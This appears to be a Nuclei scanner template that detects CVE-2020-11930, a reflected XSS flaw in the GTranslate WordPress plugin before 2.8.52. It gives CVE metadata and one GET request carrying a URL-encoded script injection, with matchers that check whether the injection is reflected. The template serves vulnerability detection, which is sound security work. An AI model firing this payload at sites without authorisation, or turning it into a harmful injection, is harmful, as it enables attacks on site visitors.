id: CVE-2020-11930

info:
  name: WordPress Plugin "Translate WordPress with GTranslate" (gtranslate) XSS
  author: dhiyaneshDK
  severity: medium
  description: |
    The GTranslate plugin before 2.8.52 for WordPress was vulnerable to an Unauthenticated Reflected XSS vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
  reference:
    - https://wpscan.com/vulnerability/10181
    - https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module
    - https://plugins.trac.wordpress.org/changeset/2245581/gtranslate
    - https://plugins.trac.wordpress.org/changeset/2245591/gtranslate
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11930
    cwe-id: CWE-79
  tags: cve,cve2020,wordpress,xss,plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert("XSS")%3C/script%3E<img%20src=x'
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert("XSS")</script>'
      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200